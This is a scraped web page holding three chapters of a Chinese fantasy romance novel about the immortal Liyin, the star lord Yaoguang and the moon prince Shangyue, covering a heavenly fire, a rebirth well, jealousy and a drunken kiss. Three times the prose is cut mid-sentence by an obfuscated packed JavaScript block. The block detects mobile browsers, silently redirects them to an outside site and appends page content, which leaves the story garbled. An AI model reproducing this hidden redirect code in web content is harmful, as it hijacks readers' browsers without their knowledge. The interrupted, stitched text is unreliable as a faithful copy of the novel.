气汹汹地冲进去,果然瞧见他正喊着她的名字,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352597|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小小的屋子里到处翻找,屋内所有能打开的柜门、抽屉全被翻开了,她进来这会儿,他正不顾火势,伸手要去掀床板呢。 璃音又好气又好笑,她是会躲在抽屉里还是床底下? 她快步上去,一把抓回他往天火里冲的手,二话不说叩动宇铃,将两人带回了街上。 人一站定,璃音立马没好气甩掉揪在手里的胳膊,劈头盖脸就是一通数落:“这么大的天火还往里面冲,你是存心要把自己烧死,叫我在娘娘那里交不了差是不是!” 摇光一双漆瞳凝着她,绷着下巴不说话,似乎很镇定,可胸膛却轻微而略显急促地起伏着,方才在火里一通翻箱倒柜,发冠向着一侧歪散了下去,一头墨发被风吹得微乱,璃音顺着那头长发往下一看,发尾还给燎焦了一大片。 像小狼被烧焦了毛,还在她面前犟着脑袋,装着一副不慌不乱、方才火里乱转那一切都不是他做的镇定样子。 璃音何时见过他这等模样,有点狼狈,又有点好笑,心里的气一下子散了,但面上还是要把气生一生的。 她不满地?他,他也把她静望了好久,久到似乎是在确认了她真的是她之后,才忽一个大步上前,一句话不说地把她拉裹进了怀里。 夜风很静,街市上却是喧嚷成了一片,惊叫的,逃跑的,挑水的,还拿水扑上,却发现压根扑不灭的于是又在惊叫的,各种惊呼声此起彼伏,都混杂在这一条街上,混杂在璃音的耳边。 可她心里却静得仿佛只能听到他清促的呼吸。 后脑被他一只大掌紧紧扣住,整张脸都被迫埋在他前胸,他的胸腔就贴在她的颊下安静却微乱着起伏,微促的心跳声是那样明显。 璃音缓抬起手,迟疑了下,终于还是在他紧绷的后背上轻拍了拍。 然后她轻轻说了一句:“别怕。” 拥着她的男人身躯微微一顿,而后,终于渐渐放松了下来。 璃音也终于可以仰起脸来,然而少女抬起的眼中,却满满的全是无声的控诉! 这人,他都不知自己方才无意中用了多大的力! 全身骨头都要被他裹碎了,还有后脑上那只铁爪般的手掌,璃音觉得,若是此时立刻扒开她的头发查看,搞不好能看到一只乌青的手印! 男人冷静下来之后,那似笑非笑的恶劣弧度便又回到了他的唇边,他悠悠抬手,替少女拂抹着脸上沾着的一抹灰,开始漫不经心答起她之前的话:“老师是恨不得学生烧死,好和月宫里那位小仙君双宿双飞吧。” 就多余安抚他那一下! 气得璃音一把拍掉他在自己脸上乱摸的爪子:“我劝神君说话做事最好有点根据,冷静点,想好了再说。” 明明平时那么冷静的一个人,非在今天一个劲儿地犯傻。 不想摇光嘴角一咧,道:“学生若是能冷静,如何还会收到千条投诉,被罚在这里。” 璃音:“……” 好有道理。 琉璃净火乃是天火,落在凡间,不过看着可怖,实则并不会烧损一点凡人凡物,火没烧到它想烧的仙元,过了这一会,自然也就慢慢地散了。 火熄了,尖叫奔逃的人们停下一看,客栈还是那间客栈,除了慌急逃跑时被推坏的一扇大门,竟是什么损毁也没有,也都渐渐定下神来,换做了不可思议的窃窃私议之声。 颇上了年纪的店老板恰站在一旁,一直听着璃音二人的争吵,早就看不过眼,这会儿终于有心情走过来,冲着璃音叫喊道:“哎哎哎,我说你这小娘子,方才那火起来时,这位公子想都不想就冲进火里找你,你这么凶他,可就是你的不对了。” 这话恰是璃音最不爱听的,她冷下一张脸,还未来得及扭头说什么,摇光已冷冷向那人转过了头:“她想凶便凶了,老翁快去顾你的店门吧,不必来此多管闲事。” 帮他说话,反遭他一场冷眼,店老板嘴角一抽,刚想张口骂句什么,然一触着那神威冷然的一眼,心头忽地一阵发怵,最后就只是象征性地冷冷哼了一声,便逃也似的转身走了。 璃音转脸望去,路边竟还有不少人掩嘴笑着,望着他俩在私下议论,顿时脸上泛起一阵红。 她一把拽起男人的胳膊,绷着脸将他往客栈的屋里拉:“大街上和人吵什么,嫌不够丢人的。” 回到小屋,关上门,又连设下两层结界,璃音才搬起一把之前被撞倒的椅子,坐了上去,接过摇光斟过来的茶水,抿了一口,抬脸道:“方才那把火,你觉得会是冲我来的吗。” 163. 第162章 轮回井 客栈被投了天火的第二日午后,璃音提了一大袋盐渍过的梅子干,照常进浮霁殿督看商月练剑。 正往躺椅上坐下,摇光清懒散淡的声音就在识海中响了起来:“到了?” 璃音不动声色,抬手轻抚过发间那一支精巧的银簪,透过它,在识海里没好气地回:“神君这偷窥监视小仙的花样可真是层出不穷。” 谁能想到,那发簪竟熔了一点他的本命星石进去,简直就是把一颗星星戴在了头上,供他一天十二个时辰尽情监看。 这偷窥狂! 要不是看这簪子上镶了阿娘的遗物,她昨天几乎当场就要拔下来,狠狠戳在他身上,让他带着有多远滚多远了。 摇光笑了一声:“我昨日说过了,需你心念为我而动时,那些话才会被我听到,所以本就是说给我听的,不能算作偷窥。” 璃音撇撇嘴,却也知道他这话没骗人,否则昨日客栈起火时,他就不会只能在识海里一遍一遍地唤她,找她找得差点把那间小屋都给掀了。 本命星石放在她身上,她能感受到的他,远比他能“偷窥”到的自己来得多。 所以,与其说是监看她,倒不若说是他把自己给她送了过来,邀请她来随时监看。 不过他这非要人报备的毛病倒是一贯都有,只是从凡人归位到紫府里的神君,手段更花更多了而已。 偷偷哼了声,璃音往嘴里塞了颗盐津梅子:“不跟你说了,我要看人练剑了。” 看商月似乎把浮光舞得比昨日更威风了,她不禁啧了声:“神君,后生可畏呀,我看他最近进步飞快,再过个三五百年,说不定也能和你掰掰手腕了。” 对面默了一息:“结束时说一声,我去接你。” 小题大做,有什么好接的,叩一下传送铃就到的事。 然而梅子甜甜咸咸的味道在嘴里漾开,璃音往识海里回的却是不咸不淡的一声“嗯”,然后说了句:“知道了。” 真可怕,她和摇光神君之间分明还没认真确定过什么关系呢,彼此间连句正儿八经的“喜欢”都还没人开口说过,而她竟已隐隐觉得,自己有些“夫管严”的趋势了。 更可怕的是,她居然还有点乐在其中。 “阿横?” 许是方才与人传音时的走神太过明显,商月不知何时停了剑,站来了她的躺椅边上。 静静等她回神,商月才温然一笑,续道:“我适才说的,你怎么想,答应吗?” 答应什么? 璃音一头雾水。 想是自己刚才只顾与小七聊着,全没注意商月说了什么,她赧然笑了笑,但也不避他,大大方方解释:“我方才与摇光神君传音说了几句话,没太注意听殿里的动静,你与我说什么了吗?” 商月低着头看她,唇边温浅的笑意微顿。 像山风停下数息,然后于万籁静止之中,重又卷起竹浪,他很快就又状似无奈地一笑,耐心重与她说道:“我方才与你商量,这殿里地方还是太小,宫中往来总是有人,也易致分心。兄长曾在下界辟建过一处闭关用的洞府,山水清秀,最是幽静,你来年昆仑的大试不也近了吗,不如这一阵子就随我一起过去,安心闭关一段时间。” 璃音听着,一双清透的眸子仰起,安安静静地凝住他,一时没有给出回话。 一阵寂静。 好半晌,她才忽地一笑,望着他,冒出句风马牛不相及的话来:“你那盏玉虚琉璃灯呢?重新点着了吗,我好多日不曾见过它了。” 商月眸光微烁,沉默片刻后,他指骨轻握了握,搭垂下眼帘,答非所问道:“阿横,不能是他。” 他重抬眼,清寒的瞳底深处,闪过两团泛着潮意的碎光:“谁都可以,不是我也可以,但不能是他。” 越发牛头不对马嘴的一场对话,璃音却也笑得越发清净,她仍是躺在摇椅之中,半点也没挪动一下,只向他仰着眸子,自顾自曼声问:“什么时候回来的?” 商月没有惊惶,没有否认,也没有答话。 他只是更加压抑又切切地望着眼前的少女,像在忍受着某种将要决堤的惊心痛怒,攥握住指节,一字一句,眸底潮气都随他接下来的话音泛出颤意:“和他在一起,你会死的。” 少女却恍若未闻,歪过头,似乎在想些什么,隔了会,又把脑袋转回来,满脸好奇地求证:“是送我生辰礼那晚,对不对?我就觉得那晚之后的你都很不一样,琉璃净火灭了,你半句没有追究,剑术还厉害了这么多……” 她明明什么都知道,却还在一个劲地岔开话题逃避,商月心中痛怒愈盛,他折俯下来,捉住她纤白的腕骨,要迫她清醒,捞她逃离这一场荒谬的沉沦:“是他杀的你!我那日追去,全都看到了!” “阿横,你既已猜出我的来处,便该信我,我才是会与你站在同一边的人,他不是,若你这一次再发作,被他发现,他依然会杀了你的!” 璃音看着他,不笑了。 “阿横,你跟我走吧。” 他忽倾身拥住她,带着汹涌的、失而复得般的哀求:“上一次是我没保护好你,让他伤害到你,是我的错。这次我都准备好了,你不要再回昆仑,我也不再做这月宫的少主,你跟我走,我带你离所有这些都远远的。我会在你身边,仔细看顾你,不会让你伤害任何人,也不会再让任何人伤到你,我们一起找个地方隐居,从此做两个清闲自在的散仙,好不好?” 平静地听他说完,璃音轻轻叹了一声,问:“所以,换个地方把我永远地关起来,这就是你想出来的,解决未来一切的办法?” 她慢慢把他推开:“而且,那时候,杀了我的,也不是他。” 能明显感觉到商月激动起来,知道他想说什么,璃音笑了笑,赶在他开口之前,截住他说:“我知是你亲眼所见,只是有时眼见也未必为实,我自己心里知道的,我的死,不是因为他。这件事,你以后都不要再提了。” 这话说出来,看商月一脸欲言又止的神情,璃音就知道,他一定觉得她是被爱情迷了心窍,才非要自欺欺人地否认吧。 可其实,是他不懂,在摇光神君的破军尚未斩下之前,她就早已是个神魂枯萎的死人了。 一个死人,谈何再被谁杀死呢。 至于她是什么时候死的,大概就是那年中秋,她孤身一人坐在浮霁殿前长长的玉阶之上,静静看着月宫里那一场热闹的焰火燃尽之时吧。 商月护她,藏她在月牢三百年,拼死也要保她一命,她于是神魂寂冷, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363501|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万念皆灰,在看不见天光的月牢里做了三百年的行尸走肉。 神君无情,送了她一场干脆利落的死亡,她却阴差阳错,因此而重获了一场新生。 思及此,璃音忽然意识到什么,抬眸惊声:“我那日坠井,你也跟着跳下来了?” 她当时坠入轮回井时,并非全无意识,还有一缕将断未断的神识撑着。 她在梵音渺渺的宣判声中一路下坠,直至落地,才真正陷入了沉眠。 而那宣判念的是:“来路无追,去路尽绝,不入幽冥,永断轮回。” “嗯。”商月点了头,而后半垂下尚且湿润的眼,“是我没有保护好你,我……” 说不感动是假的,为了她,他竟连轮回井也能毫不犹豫地跟着往下跳。 但看他一副又要把她受伤的责任往自己身上揽的样子,璃音连忙随口岔开话题,打断了他:“那轮回井也真有意思,自己号称能‘断尽轮回,鬼神弗论’,如今看来,不就是它把我们两个都送了回来吗。” 那井是真有点玄虚,又是在井口用雾气凝着大字,又是在井中设下一道道威严警告的天音,处处都外露着“危险,勿进”的信号,结果一跳下来,根本名不符实。 莫不是年久日深,功效都变质了么。 商月沉吟了下,道:“这井的来历其实也古怪,六百年前,突然就在月牢深处现了形,这之后,每一个坠井之人,都就此消弭了踪迹,他们不曾出现在幽冥,也再不曾回去过。” “虽无法就此断言它所谓能‘断尽轮回’的真假,但看进去的人,确实无一人能回,大家渐渐也就默认了它雾迹所言,把它当作一口能断截轮回的凶井了。” 这么说来,这井的真正面目,其实竟没人知道,只因它自己在井口用白雾凝了“轮回尽断,鬼神弗论”八个大字,掉进去的神仙又确实再没个出来的,于是便在众仙心中坐实了那八个字,自此流传作轮回井了。 而且,听说那井是六百年前突然出现的,璃音脑中有什么模糊的念头闪过,但要细想,却又抓它不住。 她摇摇头,思索着说:“说不定它原本就是这个作用呢,只是故意给自己弄了个吓人的幌子,免得想回去的人太多,大家都来跳井。至于之前坠了井的那些人,他们回到了过去,与过去的自己相融,永远留在了过去,所以在‘现在’的人看来,他们便是消失了,且再也没有回来。” 说到这,她忽一滞,抬起头来,望向商月的眸中渐渐蓄起了水光:“你……” 原来即便疤痕不在了,可那个未经苦痛、事事天真的月宫少主,她终究还是没能留住。 而他只是温眼看着她,笑了笑,说:“我没事。” 这怎么能算是没事呢,她咽下喉头那些酸苦的愧惭,从躺椅上直起身,认认真真看他的眼睛,说:“其实你嘴上说要我跟你走,但凭你的性子,又怎么可能真放着昆仑那么多条命不管,最后也只是把我关起来,又准备一个人去扛那些事吧。” 看他一脸被说中的样子,璃音一抿唇,终于说出了前世一直想说,却始终没能对他说出口的话:“所以我不会跟你走,也不想被迫躲在什么地方,我想留下来,我们一起留下来,再多再难的事,我们一起面对,这样难道不好吗?” 164. 第163章 温柔乡 璃音这一日在那边的时间拖得格外得长,及至入夜时分,摇光才终于收到她要回来的传音,过去接她,却见她一脸倦容,人也比以往沉默许多,似乎格外疲惫。 而后一连几日,皆是如此。 她唤他去接的时间一日比一日晚,回来后也总是很疲惫,不是埋首研图,就是沉默练箭,有时困糊涂了,会迷迷糊糊蹭过来抱住他,脑袋往他前胸里一埋,居然就站着睡着了。 文昌坐在摇光殿后小院中的大桂树下,抿茶听着这描述,把头一摇,给他下了定论:“这事,你没戏了。” 树下石桌对面的摇光慢悠悠放下手中杯盏,漫不经心向文昌抬了下眼皮:“她每晚都会回来我这里。” 见好友不认,文昌呵呵凉笑一声,说:“你知道在凡界里,有那么一种男人,家里已娶着个妻,又想再往回领个妾,那妻若善妒,容不下妾室进门,往后二人共住,便免不得有一方要受些作践磋磨。那些男人怕闹得家宅不宁,心里又割舍不下,有些本事的,便会偷偷在外建买宅院,把爱妾接进去养着,妻妾各住一方,彼此眼不见心不烦,各在各的地盘都当个正室,谁也作践不了谁,这个就叫作‘两头做大’。” 听到这里,摇光略略抬起头来,面色不善地眯了眯眼。 文昌也搁下盏来,凭借在凡间历劫时手绘各色话本的丰富经验,不怕死地继续说道:“虽说是‘两头做大’,不必受谁的气,但到底妻是妻,妾是妾,名分上总还是有所差别。所以往往是在外的小妾最懂得尽心款侍,谨小慎微,把自处弄作个蜜糖罐、温柔乡,勾得夫君爱悯,在外奔波累了,或在正宅中受了正妻的气,便只想着来她身上寻慰藉,抱一抱,歇一歇。” 无视掉对面好友眼中直射而来的寒光,文昌有板有眼一通分析,最后重又端起杯盏,摇头一声叹息,拍板道:“虽说‘温柔乡’这个词放你身上实在叫人觉得恶心又不可思议,但你这光景,分明是小仙子心中名分已定,你输给了月宫那位少主,他是大,你是小,你被小仙子当了温柔乡了。” 摇光面无表情起身:“让你查的事情怎么样了。” 随他起身,一道渐高的阴影缓缓向文昌投射下来,文昌捏着茶盏一个激灵,猛往后缩了下身子,见他没进一步动作,才又放肆起来说:“你没事突然站起来干嘛,当年你就是这副鬼样得罪了司命,人家才几百年都不肯让你入殿……哎哎哎,我说我说,十册簿子我都替你在司命殿中翻查过了,每一世你都是个短命鬼,无妻无子,孑然孤苦,死相凄惨,绝对的清白之身,这下你可安心了。” 说着略微一顿,又道:“还有,虽然不知你要查巫彭做什么,但我把能看的都看过了,那事其实也落不到他身上,他应当没有问题。” 摇光听罢,扯唇笑了笑:“确实安心不少。” 然后直接一挥手,趁文昌再起聒噪之前,便连人带盏一起扇出了自家小院。 * 今日璃音照旧隐了身形,在有“陪商月闭关”这事掩护的几个时辰之中,独自去往昆仑山脚下布阵。 天梯耸峙,神山巍峨,凭她一人之力,要布完整个护山大阵,所消耗的心力灵力实在巨大,连日下来,几乎快把她整个人都掏空了。 没办法,最后的“落焰飞天”始终悟不出来,时日迫近,她不能死等,只能在别处下更多的功夫。 忙活完,虚飘着步子回到浮霁殿,璃音直接一个倒身瘫进躺椅中,手指都懒得再动弹一下,闭上眼睛细细匀了会气,开始静等这阵疲累过去,等蓄回一些力气,能站起来,就可以喊小七来接了。 偏这种最不想动弹的时候,商月一定会弄出各种茶水药补过来,于是她只得再坐起身,接受完他一番切切的关嘱,才能继续躺下,开始真正的休息。 果然,一阵药香钻入鼻尖,商月又来了:“阿横,灵补煮好了,起来喝过了再睡。” 璃音赖着不动,想着干脆就装睡着了算了。 然而赖过了一两息后,还是软手软脚撑身起来,一面接过灵补来喝,一面听商月叙着旧日寒温,不时从喉咙里勉强挤出几声“嗯”来应付。 多个同盟多份力,璃音那日说服他与自己一起面对,不论他心里是不是赞同她说的,但至少表面上是应下了。 不赞同也不要紧,好歹把他稳住了,没让他把自己抓去哪处深山老林关起来。每每想到这,璃音都暗自松一口气,听他絮叨也听得越发乖顺了,从未来而来的商月,她虽对他满心愧疚,但说实话,她是真有点怕他。 他行事固执又天真,且莫名有种“她需要被他保护”的执念,完全不知下一息,他会不会就一拍脑袋,暗自对她做出什么骇人的决定来。 所以此时此刻,稳住他之后,璃音便只想赶紧养回力气,逃离这处幽深层叠的殿宇,逃回凡间那间小屋,喝一盏小七斟来的茶,好好压一压惊。 然而他的关嘱一日比一日长,璃音实在太累了,眼皮渐渐再支不住,终于在他某句话音之中耷拉着一阖,这下再不用装睡,是真坠入黑甜乡了。 * 一线雪亮隔着眼皮划过,璃音猛地睁开眼时,仰面一片晴光浮动中,竟有一道湛清的剑光如电疾闪,径往她身侧飞掠了过去! 来不及多反应什么,璃音忙一个疾翻下椅,挺身将商月护在身后,腕中长鞭抖出,唰的一声,便向那剑身奔缠而上。 破军的剑势在她身前一寸之处停下,璃音慢慢呼出一口气,这时才有空向身后的商月问了一句:“你没事吧?” 身后一阵静默,好半晌才回:“没事。” 不及她再追问两人是如何打起来的,摇光冷冷看了她一眼,忽轻嗤一声,收了破军,转身便往殿外走了。 心知自己这事处理得不算好,可就刚刚那种状况,她才刚醒,都不知发生了什么,只晓得他和破军若是动了真格,那商月对上他,不只有挨死的份吗?千钧一发,她也只有先护着弱势的这一边,然后再慢慢回去哄他了。 收回长鞭,璃音一顿未顿,便忙追着那道背影,急步跟了上去。 可才追了几步,前面的身影便化作一道流光霎时飞散,连点光沫子也没肯给她留下。 明显是拒绝她再追。 璃音脚下原本疾奔的步子一僵,有些不知所措地停在了原地。 有几缕刺眼的天光照进眸底,她抬手遮了遮眼,这才反应过来,此时此刻,天色竟已是大亮了。 她在此处,睡了一整夜? 少女的身形一动不动静立在那里,好一会,身后渐有脚步声近:“阿横。” 抬手狠狠在眼下一擦,少女红着一双眼睛扭过头来,问:“他来的时候,你在做什么?” 步子被那质问的眼神逼得一停,商月顿了数息,停在距她尚有三步远的地方,静眼看着她说:“阿横,你做了噩梦,我只是替你拍了拍背。” 她夜里睡得极不安稳,不知究竟经历着怎样可怖的噩梦,有时会突然揪住自己胸口的衣料,发出窒息般的痛喘,有时又会突然安静下去,然后开始无声无息地掉眼泪。 他从未见过她如此,有些慌了手脚。试着燃了安神的香,被她粗暴地推开;又试着轻声去唤她,哄她,可她都会陷入更深的梦魇,不停蹙着眉推他,似乎想把他的声音推远,再推远…… 及至天将明时,她才终于渐渐平稳下来。少女安静地阖着眼,清丽的一张脸上沾满乱七八糟的泪痕,显得那样脆弱又惹人心动,他不觉便向她俯下身,欲拥她在怀,去吻走她的泪。 剑意如惊涛,就在那么刚好的时机闯了进来。 那位神君,该在殿外等了很久了吧。 思及此,商月微扬起眸,却正撞上少女疲惫至极的一双眼,她像是连说话的力气都不再有,只是很轻地向他点了点头,挤着声说了句:“知道了,谢谢。” 便很平静地转过身,留下他,走了两步,便在一阵烁起的银光之中消失了。 * 璃音落去了长云山上。 小蜀神神秘秘地把自己关在屋里,说是有任务在身,得陪一个人聊天。 世上还有这等任务? 但璃音心情不佳,便也懒得追想,站在道场边上,看虞宛初和虞宛言练了一会儿巫典,估摸了下他们现在的水平,最多也就混个百名之内吧,依旧不能明白他们为何那般执着于来年的“攀山”。 看了一会,去了归岚房中,见他伤势已然大好,总算是有了件略微称心的事。 她将万壑千山图挥展开来,笑着一掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377978|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把他拍了进去:“惊喜礼物。” 好歹听他喊了那么多声“爹”,她便送他们父子团聚一场,即便猰貐神尊只在画中余下了一抹游荡混沌的残魂,彼此相见,千年重逢,依然能算是惊喜吧。 很快,呜咽的战栗便自魂契深处感应而来,璃音站在画外笑笑,没有进去打扰他们,搬了张椅子坐下,静静给自己算了算日子。 若劫仍然是劫,若她穷尽气力,也终未能化解,那她必然要折在来年上元节那日,也没剩多少日子了。 至晚回去还音殿中,便有些昏昏沉沉起来。前几日也累,可睡过觉就会好,明明昨晚睡了一夜,却还是累,竟比没睡过还累。她便想起来,商月说她做了噩梦,看来这话不是在骗她。 想睡,可总觉得少一味气味,怀里也没东西抱着,便睡不着。 跑去后院,入眼一片光秃秃的,竟连一棵粗壮像样些的大树也没有,她愣愣看了半晌,忽然就蹲身下去,在地上蹲作一团,委屈地掉起了泪。 哭了会,不见人来,更难过了。 平日里总在偷窥,这会就能视而不见了。 抬头怒冲冲向着冷阔的夜空某处望了一眼,但实在又累又困,怕状态不好,吵不赢又打不过,那就太丢面子了,遂决定还是睡饱了再找他算账。 于是叩动宇铃,直直向着一处能倒头就睡的地方落了过去。 这个时节的桂香最是浓淡宜人,一闻见便叫璃音放松下来,只身下迎来的却不是预想中的触感,她落在那株巨大的月桂上,默默抬起了脸。 一双漾着点点霜辉和醉意的眸子,便向她静静转了过来,凝在了她的脸上。 从凡界到天上,她还从没见过他的醉态,原来神君竟也会喝醉吗。 两人大眼瞪醉眼,一时都没说话。 璃音默默盯了他一会之后,压落在他长腿上的身子忽挣了挣,理直气壮地向他抱怨:“那边膝盖放下去点,顶着我了。” 摇光不说话地看着她,半晌,终于还是慢慢把微屈的那一边腿降了下去。 少女得寸进尺,得了舒服的姿势,立马扑蹭过去,一把抱住他的腰,接着,整个人就都蹭了上去。 坐着拥抱也很好,这个姿势,她刚好可以把头埋进他的颈窝。 今天确实是她处事不周在先,角色互换一下,若是他为哪位女仙对她拔剑相向,就算事后能理解,心里也一定会有气。 她把他抱紧了,下巴讨好地在他颈间蹭了蹭,脑袋和嗓音都一起闷在他颈窝里面:“我明天不去他那里了。” 男人或许是真生了她的气,不肯理她,也或许是醉了,根本没听她在说什么,只是任她抱着,没推开她,但也没有像往常那样,把她拥进怀里。 见他不理人,委屈的眼泪立刻又泛了上来,趁泪还未干,璃音赶紧从他颈侧仰起脸来,把一张挂着泪珠的脸凑去他眼下。 意思是他都把她弄哭了,她现在很伤心,很难过,要他好好看清楚,至于剩下的事,他自己看着办吧。 这一招还是跟他学的,果然近墨者黑,她如今的脸皮也是向他看齐,总之是越来越厚了。 摇光垂眼看着怀中的少女,看见她卷翘睫毛上挂上的一点细小泪珠,眸底终于有了些反应,他抬手,用指背慢慢拂去她的泪,说:“以前你每次为他哭,哭到睡不着的时候,都会跑来抱我。抱了我,你就不哭了。” 璃音听得一呆。 这又是哪里来的话? 前世今生翻想了个遍,也绝无此等事情发生过。 她看着他笼着微微醉意的眼。 是喝醉了,在说醉话吗? 而他似是又想起什么,带着醉意,唇角忽勾,轻笑了笑,笑得漂亮极了:“我也是第一次知道,一个人居然可以有这么多的眼泪,怎么会流了几百年也流不完。” 他笑着说着,却又收回手,抵着她的肩,要把她推开:“即便是你,也不能如此贪心,既然你这次还是选了他,就不能……” 漂亮的唇瓣在眼前张张合合,璃音根本没心思听他说的什么,反正说来说去,没一句她爱听的,少女起身仰头,不容分说把唇凑了上去,一下便将那两瓣柔软给堵住了。 啊,这样才对嘛,安静了,真好。 165. 第164章 醉酒 璃音亲得霸道,可今日的摇光却并不怎么乖顺。 身子带着醉意想要挣脱,却被她狠狠按回树上抵住,毫不客气地享用。用力别过脸,好不容易从她温软的唇下逃离,潮热的气息又尽数喷洒进了他的颈窝:“不能亲你那里吗?” 忽地颈侧湿濡的一点触感传来,是少女伸出舌尖,暧昧地在他毫无防备暴露给她的颈上舔了舔。 “那亲你这里好不好?” 修白的颈线太过诱人,清香醺然,混着一点淡淡的酒气,璃音贪婪地嗅了嗅,低声哄着,便细细密密地把一个又一个的吻轻落了上去。 颈侧,锁骨、肩头……她沿着那优美的线条一路向下勾描,像沉迷用唇舌在他身上作一幅画,手探入他的衣襟,随意拉扯着,叫那漂亮的肩颈越发全然地展露在她的眼前,她的唇下。 身下男人的身体不知从何时开始变得乖觉,宽大的手掌也悄缓抚上了她的腰背,少女却一无所察,作乱的唇齿不停,正一路攻城掠地,在他的颈肩流连,直到头顶忽响起男人慵淡的嗓音:“比他的好看吗?” 璃音一顿,仰起脸,正对上男人垂着眼,懒静望向自己的一双漆眸。 他的眸底因那一点点醉意而愈显得清懒,璃音眨了眨眼,忽想起什么,抿住唇,心里在暗暗地笑,面上却一本正经点了下头,望着他道:“你的好看,不仅好看,还好吃,是我啃过最香的膀子。” 不过给人包扎时多看了别人的膀子两眼,也能叫他暗地里吃醋吃这么久。 应该是对她的这个回答还算满意,摇光手掌在她腰侧停住,随意把玩起她的裙带,又淡淡问了句:“后天还去吗。” 璃音微怔了下,才反应过来是在问她后天还去不去商月那里,她连忙摇头加保证:“不去不去,以后都不去了!” 游走她腰间的大掌又再往下,捞起她一只温温凉凉的手,打开淡淡扫过一眼,见掌心淤痕仍只是浅淡的一条,便收回视线,重又将她指节拢住,揉在掌间,一根根慢条斯理地捏玩起来:“手还给他牵吗?” 璃音立马反应过来,是因为这个,最近才总不肯牵她的手的? 然而不等她回话,方才尽情作弄过他的唇,就反被他指腹轻慢却不容抗拒地揉弄了上来:“这里呢,也让他碰过了?” 这就有点没事找事了,前世今生加起来,她都只给他一个人亲过的。 而且,说什么碰不碰的,真难听,好像她真的背着他在外偷吃了一样,璃音微微恼起来,张开嘴,啊呜一口,在他手指上狠狠咬了一下。 她从他掌心中抽出手来,没好气地说:“神君若实在介意,不如现在就拿破军出来,把小仙这双手都砍了好了,等小仙长出双新的、没被人碰过的出来,再拿来给神君牵……” 话还没说完,忽然眼前清光迸起,周身景致变换,眨眼间,头顶上桂树高大的树冠便换作了夜间无垠的星空。璃音一惊,在男人怀中探出头来,往四周一看,这才发现,自己竟是被他带来了文昌帝君殿府的瓦顶上! 而她还保持着树上的那个姿势,正被他扶搂着后腰,暧昧地压坐在他的腰腹之下。 一个万分糟糕的姿势,这要是被人撞见,一定会被当作是胆敢强迫轻薄摇光神君的女流氓的! 脸腾地一下红了起来,虽说轻薄是轻薄了,可她哪里真能强迫他,看他任襟领散敞、醉意慵懒地半眯着眼的模样,分明就是被她轻薄爽了,受用得很! 这变态! 璃音磨着牙伸出手,顾不得从他身上下来,急忙就要先去拢他的衣襟。 比起被当作女流氓,她还是更不想要他如今这副动情又漂亮的躯体被人看到,这身躯是她独享的,别人休想看到,文昌帝君也不行! 猛然间共情到了他的心理,璃音动作一顿,心里柔软下来,俯身便想去亲一亲他,可男人却逗猫似的,眉尾轻挑,把头一偏,又躲开了。 又一次被拒绝的少女扁了扁嘴:“别不高兴嘛,以后手只给你一个人牵就是了。” 说着扳过他的脸,拿唇去蹭他的:“给你亲一下,原谅我了好不好?这里,他没亲过的……” 字音未尽,已被他伸掌扣住后脑,将唇向他重重地压下。 璃音细细哼了声,明明是她压坐在他的身上,却被他指掌在她发间时轻时重地揉按,完全掌控着她吻他的力度。 哐啷—— 殿檐下传来像是杯盏砸地的声响, 有人来了! 璃音猛地一惊,想要撤开唇舌起身,却被摇光死死地扣住,不许她停下。 璃音简直欲哭无泪,早知道就换个方式哄他了,跟他乱学什么,撩什么撩! 这下被人撞见,她真要坐实女流氓这个称号了! 事已至此也只能劝自己想开点,毕竟是在如此之高的房顶上,下面的人也未必就瞧见了…… 结果下面紧接着就是一阵叮铃哐啷的摔盘砸碗之声,然后寂静数了息,在空茫的静夜之中,无比清晰地响起了一阵慌乱奔逃的脚步声。 璃音:“……” 而身下的男人肆意含弄着她的唇,似乎低低笑了一声,旋即清光乍起,殿宇琼楼霎时消失,背脊抵上粗粝的柱面,睁开眼,发现自己居然被他抵在了一棵巨大的桃树上,带着渐浓的醉意,一下下又凶又缠绻地吻着。 这树也有些眼熟,似乎是王母娘娘蟠桃园里的…… 璃音脑中一个激灵,待要叩铃,已是晚了,树下已传来几位侍桃仙子的惊呼之声。 而下一息,男人咬着她的唇,在她口中含糊喊了声“阿璃”,周身便又有无数细小的冷蓝色光流,随他情动起伏的胸膛,兴奋而又杂乱地烁动了起来! 身边的空间如即将崩坏一般,伴着四处游窜的冷蓝色光晕,时而叠加,时而颠倒,有那么一瞬,璃音甚至似乎瞧见了商月浮霁殿的高匾! 她大惊之下,骤然警醒:此人喝醉了,周身时空随体内星辰之力乱走,不定下一息,就又会突然把她带去哪处大庭广众之下作弄了! 想明白了的少女又羞又气,忙趁这一波清光未成气候之 